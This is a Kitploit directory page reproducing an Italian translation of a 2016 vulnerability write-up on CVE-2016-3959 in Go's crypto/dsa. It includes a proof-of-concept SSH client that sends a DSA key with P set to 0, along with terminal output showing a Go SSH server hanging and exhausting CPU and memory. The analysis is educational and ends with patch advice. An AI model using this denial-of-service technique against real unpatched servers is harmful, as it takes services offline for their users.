Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
dsa — Analisi di CVE-2016-3959 e un attacco proof of concept contro un server SSH Go. | Kitploit
Strumenti/GitHubGitHub/alexmullins/dsa
Analisi delle VulnerabilitàExploitCrittografiaPenetration TestingApprendimento e Formazione
GitHubalexmullins/dsa

dsa

Analisi di CVE-2016-3959 e un attacco proof of concept contro un server SSH Go.

Vedi Repository
1110 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Un riepilogo della vulnerabilità crypto/dsa di Go (CVE-2016-3959)

Alex Mullins

9 aprile 2016


Introduzione

Recentemente è stato scoperto un bug nella libreria crittografica Digital Signature Algorithm (DSA) per il linguaggio di programmazione Go. In questo articolo esamineremo i dettagli del bug e come un attaccante potrebbe sfruttarlo per avviare un attacco denial of service contro un server SSH Go standard che utilizza la libreria DSA sottostante per autenticare i client.

La prima menzione di questa vulnerabilità è apparsa in un post sulla mailing list Open Source Security (oss-sec) all'indirizzo http://seclists.org/oss-sec/2016/q2/11.

Go ha un ciclo infinito in diverse routine per interi grandi che rende i programmi Go vulnerabili ad attacchi denial of service remoti. I programmi che utilizzano l'autenticazione client HTTPS o le librerie server SSH di Go sono entrambi esposti a questa vulnerabilità. Il problema è in fase di risoluzione nella seguente CL: https://golang.org/cl/21533

-- Jason Buberel

In sintesi, se questa vulnerabilità venisse sfruttata, potrebbe portare a un ciclo infinito nel codice sottostante della libreria BigNum. Ciò consumerà risorse di sistema in termini di CPU e memoria e potrebbe eventualmente rendere il programma o il sistema stesso non reattivo.

La dichiarazione sopra dice che SSH insieme all'autenticazione client HTTPS sono interessati, ma dopo aver esaminato i pacchetti crypto/tls e net/http di Go questo sembra essere errato. L'autenticazione client HTTPS può utilizzare schemi di firma RSA o ECDSA, ma non DSA. Vedi sotto. Se sbaglio su questo, per favore fatemelo sapere.

https://golang.org/pkg/crypto/tls/#Certificate

root@kitploit:~
type Certificate struct {
        Certificate [][]byte
        // PrivateKey contains the private key corresponding to the public key
        // in Leaf. For a server, this must implement crypto.Signer and/or
        // crypto.Decrypter, with an RSA or ECDSA PublicKey. For a client
        // (performing client authentication), this must be a crypto.Signer
        // with an RSA or ECDSA PublicKey.
        PrivateKey crypto.PrivateKey

        ... other fields
}

Non molto dopo quel post apparso sulla mailing list oss-sec, è stato emesso un numero CVE: CVE-2016-3959. I manutentori di Go hanno una correzione pronta e apparirà nelle versioni 1.5.4 e 1.6.1 che saranno rilasciate mercoledì 13 aprile 2016; https://groups.google.com/forum/#!topic/golang-nuts/MmSbFHLPo8g.

Per seguire gli esempi di codice in questo articolo avrai bisogno di Go versione 1.6 installato. Segui le istruzioni su https://golang.org/doc/install. Se vuoi scaricare questo documento e gli esempi di codice, avrai bisogno anche di Git installato. Segui le istruzioni su https://git-scm.com/book/en/v2/Getting-Started-Installing-Git. Per clonare il repository esegui il seguente comando in un terminale:

root@kitploit:~
$ go get github.com/alexmullins/dsa

Questo clonerà il repository nel tuo workspace di Go.

La prossima sezione illustrerà i dettagli della vulnerabilità.

Il Difetto

Allora, cosa c'è esattamente che non va? Per rispondere, bisogna tornare all'annuncio originale sulla mailing list oss-sec. Non ci sono molte informazioni lì oltre a una spiegazione generale del problema e un collegamento alla correzione del codice su https://golang.org/cl/21533. Il messaggio di commit per quella modifica contiene quanto segue:

crypto/dsa: elimina la PublicKey non valida all'inizio

Per PublicKey.P == 0, Verify fallirà. Non provare nemmeno.

--- Robert Griesemer

e il codice corretto:

https://github.com/golang/go/blob/master/src/crypto/dsa/dsa.go#L247

root@kitploit:~
// Verify verifies the signature in r, s of hash using the public key, pub. It
// reports whether the signature is valid.
//
// Note that FIPS 186-3 section 4.6 specifies that the hash should be truncated
// to the byte-length of the subgroup. This function does not perform that
// truncation itself.
func Verify(pub *PublicKey, hash []byte, r, s *big.Int) bool {
    // FIPS 186-3, section 4.7

    // Code fix added to check if the key parameters are sensible.
    if pub.P.Sign() == 0 {
        return false
    }

    if r.Sign() < 1 || r.Cmp(pub.Q) >= 0 {
        return false
    }
    if s.Sign() < 1 || s.Cmp(pub.Q) >= 0 {
        return false
    }

    w := new(big.Int).ModInverse(s, pub.Q)

    n := pub.Q.BitLen()
    if n&7 != 0 {
        return false
    }
    z := new(big.Int).SetBytes(hash)

    u1 := new(big.Int).Mul(z, w)
    u1.Mod(u1, pub.Q)
    u2 := w.Mul(r, w)
    u2.Mod(u2, pub.Q)
    v := u1.Exp(pub.G, u1, pub.P)
    u2.Exp(pub.Y, u2, pub.P)
    v.Mul(v, u2)
    v.Mod(v, pub.P)
    v.Mod(v, pub.Q)

    return v.Cmp(r) == 0
}

Per riassumere il messaggio di commit e la correzione del codice sopra: in Go 1.6 e versioni precedenti c'è un bug nella funzione Verify del pacchetto crypto/dsa. Se qualcuno chiama Verify con il parametro della chiave pubblica P impostato a 0, causerà un ciclo infinito in una delle istruzioni più avanti nella funzione Verify.

Una breve digressione per spiegare DSA. DSA è un algoritmo di firma digitale che utilizza la crittografia asimmetrica per firmare un messaggio che può successivamente essere usato per garantire che il messaggio sia stato effettivamente inviato dal mittente/detentore della chiave privata. Un semplice esempio: Alice invia un messaggio a Bob dicendogli dove e quando incontrarsi per pranzo. Bob, però, vuole essere sicuro che sia davvero Alice a inviargli il messaggio e non qualcun altro. Per far funzionare questo, Alice firmerà il messaggio con la sua chiave privata e Bob potrà verificare la firma di Alice con la sua chiave pubblica che Bob conosce. Nessuno diverso dal detentore della chiave privata può firmare un messaggio che possa poi essere verificato dalla corrispondente chiave pubblica (almeno in teoria).

Per funzionare, DSA ha bisogno di 5 numeri grandi. I primi 3 numeri sono noti come parametri DSA P, Q e G. Questi definiscono il gruppo sottostante e il generatore del gruppo. Questi numeri possono essere creati correttamente chiamando dsa.GenerateParameters().

root@kitploit:~
type Parameters struct {
        P, Q, G *big.Int
}

Gli ultimi due numeri necessari per DSA sono la chiave privata X e la corrispondente chiave pubblica Y. Questi numeri possono essere creati anche chiamando dsa.GenerateKey().

root@kitploit:~
type PrivateKey struct {
        PublicKey
        X *big.Int
}

type PublicKey struct {
        Parameters
        Y *big.Int
}

Questo è tutto ciò che serve sapere su DSA per seguire. Per maggiori informazioni, vedi lo standard NIST: http://csrc.nist.gov/publications/fips/fips186-3/fips_186-3.pdf o la pagina Wikipedia: https://en.wikipedia.org/wiki/Digital_Signature_Algorithm.

Tornando al tema; dove si trova il ciclo infinito nella funzione Verify? Con un po' più di approfondimento scoprirai che il codice si blocca su:

root@kitploit:~
v := u1.Exp(pub.G, u1, pub.P)

Questo è il commento per il metodo Exp():

root@kitploit:~
// Exp sets z = x**y mod |m| (i.e. the sign of m is ignored), and returns z.
// If y <= 0, the result is 1 mod |m|; if m == nil or m == 0, z = x**y.
// See Knuth, volume 2, section 4.6.3.
func (z *Int) Exp(x, y, m *Int) *Int {

Da quanto sopra, si può vedere che il commento specifica che quando m == 0, viene eseguita l'esponenziazione senza riduzione modulare. Quando prendi un numero grande e lo elevi a un altro numero grande, il risultato sarà anch'esso un numero ENORME. Non ho molta familiarità con come funziona math/big, ma penso che sia ciò che sta accadendo qui. Exp() sta lavorando su questa esponenziazione che richiederà molto, molto tempo per essere completata (praticamente infinita).

Ecco alcuni numeri di esempio utilizzati in una chiamata di dsa.Verify() a Exp() raccolti dal codice di test qui sotto:

root@kitploit:~
x = 87134495734400160760614045850064869082246125869475484226357302998590334523718907040547736115253396811403341841812955872027275698952059512800196447089300992352859585665865224989740
07948775031938554271780506269767106717359222697821209685947889925442133804051298762702245652821695254167558015585995918548052076 (307 cifre)

y = 751336012463178371212581620103057049388105279629 (48 cifre)

z = x ^ y

Usando Wolfram Alpha, si può avere un'idea di quanto grande sia questo numero z. Ci sono "113406800566837208055789635448879116719378036793444 o 1.13407x10^50 cifre decimali" nel numero risultante z. (nota: ho potuto usare solo le prime 150 cifre di x elevato a y nella casella di input web di Wolfram Alpha, quindi il numero effettivo di cifre è ancora maggiore!). Per dare un'idea della scala: gli scienziati stimano il numero di atomi nell'universo vicino a 10^78 - 10^82 http://www.universetoday.com/36302/atoms-in-the-universe/.

Esempio di test di firma/verifica DSA:

root@kitploit:~
func generatePrivKey(t *testing.T) *dsa.PrivateKey {
    // Create the DSA parameters
    params := dsa.Parameters{}
    err := dsa.GenerateParameters(&params, rand.Reader, dsa.L1024N160)
    if err != nil {
        t.Fatalf("failed to generate dsa parameters: %v", err)
    }

    // Create the DSA private/public keys
    priv := new(dsa.PrivateKey)
    priv.Parameters = params
    err = dsa.GenerateKey(priv, rand.Reader)
    if err != nil {
        t.Fatalf("failed to generate dsa keys: %v", err)
    }
    return priv
}

func TestDSASignature(t *testing.T) {
    var message = "Hello brave new world!"
    var hash = sha1.Sum([]byte(message))
    var err error

    priv := generatePrivKey(t)

    // Sign a message
    r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
    if err != nil {
        t.Fatalf("failed to sign message: %v", err)
    }

    if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
        t.Fatalf("failed to verify message: %v", err)
    }
}
root@kitploit:~
$ go test
PASS
ok      github.com/alexmullins/dsa    0.224s

Esempio di test impostando P a 0:

root@kitploit:~
func TestDSAPanic(t *testing.T) {
    flag.Parse()
    if !*fail {
        t.Skip()
    }

    var message = "Hello brave new world!"
    var hash = sha1.Sum([]byte(message))
    var err error

    priv := generatePrivKey(t)

    // Sign a message
    r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
    if err != nil {
        t.Fatalf("failed to sign message: %v", err)
    }

    // Set P = 0
    priv.P = new(big.Int).SetInt64(0)

    if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
        t.Fatalf("failed to verify message: %v", err)
    }
}
root@kitploit:~
$ go test -fail

Osserva che quest'ultima chiamata di test si bloccherà.

Sfruttamento

Come può qualcuno sfruttare questo? Se un attaccante riesce in qualche modo a far sì che un server accetti e utilizzi una chiave DSA malformata per verificare una firma, può influenzare il server rimanendo bloccato a lavorare su un grande problema di esponenziazione causando quindi un denial of service (DOS). Poiché SSH utilizza DSA come schema di firma nel suo protocollo di autenticazione client, questo sembra un candidato server perfetto per provare questo exploit. Immaginiamo uno scenario in cui ciò potrebbe accadere.

Un piccolo provider di hosting Git permette ai suoi utenti di autenticarsi con chiavi SSH al suo servizio e il loro server SSH è codificato in Go. Per abbattere questo servizio, un attaccante potrebbe creare numerosi account falsi e caricare chiavi DSA malformate per l'uso nell'autenticazione SSH. Tutte queste chiavi avranno il loro parametro P impostato a 0. Un attaccante potrebbe quindi avviare centinaia di tali connessioni client SSH al server causando il blocco delle risorse di sistema portando a un DOS efficace.

Mettiamo alla prova questo scenario.

Il Server

Il server è un semplice server SSH che accetta richieste di sessione e stampa l'ora corrente sulla connessione. Grazie a github.com/jpillora per aver fornito questo codice server di esempio su https://gist.github.com/jpillora/b480fde82bff51a06238. Sono state apportate alcune modifiche al codice per consentire l'autenticazione con chiave pubblica invece dei callback con password.

root@kitploit:~
config := &ssh.ServerConfig{
    // Accept all authentication requests
    PublicKeyCallback: func(c ssh.ConnMetadata, key ssh.PublicKey) (*ssh.Permissions, error) {
        return nil, nil
    },
}

Questo accetterà tutte le richieste di autenticazione con chiave pubblica. Immagina un servizio reale che interroga un database per determinare se un particolare utente ha questa chiave pubblica registrata sul suo account. Il server assomiglia a un normalissimo server Go che inizia ad ascoltare su una porta e accetta le connessioni in arrivo.

root@kitploit:~
// Once a ServerConfig has been configured, connections can be accepted.
listener, err := net.Listen("tcp", *addr)
if err != nil {
    log.Fatalf("Failed to listen on %s: %s", *addr, err)
}

// Accept all connections
log.Println("Listening on", *addr)
for {
    tcpConn, err := listener.Accept()
    if err != nil {
        log.Printf("Failed to accept incoming connection (%s)", err)
        return
    }
    log.Printf("Accepted an incoming TCP connection from %s", tcpConn.RemoteAddr())
    if *p {
        go makeSSHConn(tcpConn, config)
    } else {
        makeSSHConn(tcpConn, config)
    }

}

func makeSSHConn(conn net.Conn, config *ssh.ServerConfig) {
    // Before use, a handshake must be performed on the incoming net.Conn.
    sshConn, chans, reqs, err := ssh.NewServerConn(conn, config)
    if err != nil {
        log.Printf("Failed to handshake (%s)", err)
        return
    }

    log.Printf("New SSH connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion())
    // Discard all global out-of-band Requests
    go ssh.DiscardRequests(reqs)
    // Accept all channels
    go handleChannels(chans)
}

Una cosa da notare è il controllo if *p. Corrisponde al flag -p e controlla se il server esegue l'handshake SSH sulla goroutine principale o su una goroutine in background. Molti esempi online usano la prima. Il flag -p mostrerà la differenza che un'operazione bloccante può avere sulle prestazioni di un server di rete nella sezione dell'attacco più avanti.

Il Client

Il codice client è un po' più complesso. Ha bisogno di modifiche al codice della libreria SSH di Go per permettere l'invio di una chiave DSA malformata. La libreria SSH è stata venduta nel pacchetto client. Nota che il codice del server è completamente invariato e importa il pacchetto golang.org/x/crypto/ssh standard dal workspace.

Il client funziona in due modalità separate controllate da un flag da riga di comando chiamato -attack. Quando il client viene avviato normalmente, effettua una normale connessione SSH al server e inizia a leggere l'ora del server ogni pochi secondi. Ma quando il flag -attack è presente, il client invierà una richiesta di autenticazione al server con una chiave pubblica DSA malformata. Parti rilevanti del codice:

root@kitploit:~
func init() {
    flag.Parse()
    if *attack {
        ssh.Attack = true
    }
    if *key == "" {
        log.Fatalln("must provide a auth key.")
    }
}

Nota che è stata creata una nuova variabile ssh.Attack nel pacchetto SSH venduto ed è impostata a true quando il flag -attack è presente. ssh.Attack modifica il codice di marshalling della chiave pubblica DSA del pacchetto SSH per sostituire il parametro P a 0. Puoi trovare entrambe queste modifiche nei file attack.go e keys.go nel pacchetto SSH venduto.

root@kitploit:~
// attack.go
var (
    // Attack should be set to true to send a malformed DSA key.
    Attack = false
)

// keys.go
func (k *dsaPublicKey) Marshal() []byte {
    x := k.P
    if Attack {
        x = big.NewInt(0)
    }
    w := struct {
        Name       string
        P, Q, G, Y *big.Int
    }{
        k.Type(),
        x,
        k.Q,
        k.G,
        k.Y,
    }

    return Marshal(&w)
}

L'Attacco

L'attacco ha un impatto diverso a seconda che il server venga avviato con il flag -p.

Per compilare il server, entra nella directory server ed esegui: go build -o server . Fai lo stesso per il client: go build -o client . Ci sono chiavi RSA e DSA di test nelle directory data di server e client. Se vuoi crearne di nuove, usa ssh-keygen.

Server - Goroutine principale

Se il server è stato avviato senza il flag -p, un singolo client attaccante può congelare completamente il server e non possono più essere accettate nuove connessioni. Questo perché la chiamata a ssh.NewServerConn() viene eseguita sulla goroutine principale e rimane bloccata nella chiamata a dsa.Verify() per l'autenticazione client, bloccando ulteriori chiamate a listener.Accept(). Quando si scrivono server di rete, è importante mantenere il loop di accettazione reattivo e spostare le operazioni bloccanti su una goroutine in background.

Avvia il server normalmente con:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:30:27 Listening on localhost:8022

In un altro terminale, avvia un client normalmente che invierà una chiave DSA corretta al server per l'autenticazione:

root@kitploit:~
$ ./client -key=./data/id_dsa
2016/04/13 07:31:31 connected
Wed Apr 13 07:31:34 CDT 2016
Wed Apr 13 07:31:37 CDT 2016

Torna al server e vedi che ha accettato la connessione TCP e creato una connessione SSH:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)

Ora è il momento di avviare un client attaccante in un altro terminale. Questo invierà la stessa chiave DSA che un client normale invia MA avrà il parametro P impostato a 0:

root@kitploit:~
$ ./client -key=./data/id_dsa -attack

Nota che il client si blocca senza un messaggio 'connected' e non ci sono log dell'ora del server. Il server inoltre non ha registrato la creazione di una connessione SSH, ma ha accettato la connessione TCP. Il server è ora bloccato sulla chiamata a dsa.Verify():

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)
2016/04/13 07:33:36 Accepted an incoming TCP connection from 127.0.0.1:63521

Prova a connettere un altro client normale; anche questo ora è impedito di connettersi:

root@kitploit:~
$ ./client -key=./data/id_dsa

Il client originale è comunque ancora in grado di ricevere risposte dal server.

Server - Goroutine in background

Se il server è stato avviato con il flag -p, può ancora accettare connessioni client normali perché le connessioni SSH dell'attaccante sono gestite in goroutine in background invece di bloccare il loop di accettazione sulla goroutine principale. Questo non porta a un DOS immediato, ma consumerà continuamente le risorse CPU e memoria del server portando a una morte lenta.

Avviamo di nuovo il server, ma questa volta con il flag -p:

root@kitploit:~
$ ./sshd -key=./data/id_rsa -p
2016/04/13 07:38:07 Listening on localhost:8022

Ora avvia un client attaccante come prima:

root@kitploit:~
$ ./client -key=./data/id_dsa -attack

Nota che il server non ha registrato la creazione della connessione SSH di nuovo, ma proviamo a connettere un client normale:

root@kitploit:~
$ ./client -key=./data/id_dsa
2016/04/13 07:42:06 connected
Wed Apr 13 07:42:09 CDT 2016
Wed Apr 13 07:42:12 CDT 2016

Ehi, si connette! Ma tutto ciò che un attaccante dovrebbe fare è avviare qualche altra connessione client malevola e l'utilizzo di CPU e RAM del server aumenterà. Con 4 client attaccanti sono riuscito a ottenere circa il 400% di CPU e 1GB di RAM prima di fermarmi perché il mio laptop diventava un po' caldo. In condizioni normali con solo 2 client normali collegati al server, la mia CPU era intorno allo 0.2% e l'utilizzo di RAM era di 5-6 MB. Una bella differenza.

Conclusione

In conclusione, questa vulnerabilità può essere sfruttata per causare denial of service. Utilizzando lo scenario sopra, il calcolatore del punteggio CVE https://nvd.nist.gov/CVSS/v2-calculator ha dato un punteggio di 3.5/10. Non ci sono impatti sulla riservatezza o integrità, solo un impatto parziale/completo sulla disponibilità.

Guardando godoc.org, attualmente ci sono 164 pacchetti che importano crypto/dsa, https://godoc.org/crypto/dsa?importers. Si consiglia di aggiornare alla versione di sicurezza disponibile su https://golang.org/dl/.

In generale, questa è stata un'esperienza di apprendimento divertente. Se ci sono errori o miglioramenti che possono essere apportati, per favore fatemelo sapere. Grazie per aver letto.

Scarica lo strumento